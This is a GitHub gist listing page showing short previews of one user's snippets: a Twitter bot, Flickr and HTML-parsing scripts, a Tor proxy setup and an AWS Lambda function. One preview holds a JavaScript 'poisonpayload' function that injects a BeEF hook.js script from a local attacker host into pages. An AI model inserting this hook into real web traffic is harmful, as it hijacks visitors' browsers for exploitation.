Skip to content

Instantly share code, notes, and snippets.

View matrixfox's full-sized avatar

Matrixfox matrixfox

View GitHub Profile
@matrixfox
matrixfox / twitterbot.rb
Created November 2, 2015 23:11 — forked from emad-elsaid/twitterbot.rb
twitter bot to auto favourite tweets
require 'Twitter' #gem install twitter
while true
begin
# Create a read write application from :
# https://apps.twitter.com
# authenticate it for your account
# fill in the following
config = {
consumer_key: '',
consumer_secret: '',
#!/usr/bin/perl
$|=1;
#$count = 0;
$pid = $$;
while (<>) {
chomp;
@X = split;
$url = $X[1];
function payload() {
if (typeof beef == "undefined") {
var x = document.getElementById("poisonpayload");
if (x == null) {
var commandModuleStr = '<script id="poisonpayload" type="text/javascript" src="' + "http://192.168.1.18" + ':' + "3000" + '/hook.js"><\/script>';document.write(commandModuleStr);
}
}
@matrixfox
matrixfox / flirckr_search.py
Last active February 22, 2016 15:30 — forked from ck196/flirckr_search.py
Flick search api
import flickr_api as f
import re
f.set_keys(api_key = 'xxxxxxxxxxxxxxxxxxxxxxx',
api_secret = 'xxxxxxxxxxx')
auth = f.auth.AuthHandler()
w = f.Walker(f.Photo.search, tags="landscape")
@matrixfox
matrixfox / coiny.sh
Created February 22, 2016 22:36
Slightly Useful Bash Command
#!/bin/sh
service="stop_loss.sh"
if ps -e | grep "$service"; then
echo "running"
else
echo "not running"
/home/pi/coiny/stop_loss.sh
fi
@matrixfox
matrixfox / htmlparser.py
Last active March 5, 2016 20:11 — forked from cloudaice/htmlparser.py
htmlparser
from HTMLParser import HTMLParser
import urllib2
class MyHTMLParser(HTMLParser):
def __init__(self):
self.data=[]
self.href=0
self.linkname=''
HTMLParser.__init__(self)
from httplib import HTTPSConnection
from base64 import b64encode
#This sets up the https connection
c = HTTPSConnection("www.google.com")
#we need to base 64 encode it
#and then decode it to acsii as python 3 stores it as a byte string
userAndPass = b64encode(b"username:password").decode("ascii")
headers = { 'Authorization' : 'Basic %s' % userAndPass }
#then connect
c.request('GET', '/', headers=headers)
import socket
import socks
import httplib
def connectTor():
socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, "127.0.0.1", 9050, True)
socket.socket = socks.socksocket
def main():
connectTor()
@matrixfox
matrixfox / lambda-function.js
Created May 26, 2016 15:48
AWS Lambda Serverless Gateway API Function - Why is she so slow?
'use strict';
console.log('Loading event...');
var DOC = require('dynamodb-doc');
var docClient = new DOC.DynamoDB();
exports.handler = function(event, context) {
var tableName = "databaseTableName";
docClient.scan({
TableName: tableName
@matrixfox
matrixfox / replace_block.py
Last active July 9, 2016 20:45
Malmo Minecraft AI Simple Replace Block
# ------------------------------------------------------------------------------------------------
# Copyright (c) 2016 Microsoft Corporation
#
# Permission is hereby granted, free of charge, to any person obtaining a copy of this software and
# associated documentation files (the "Software"), to deal in the Software without restriction,
# including without limitation the rights to use, copy, modify, merge, publish, distribute,
# sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is
# furnished to do so, subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included in all copies or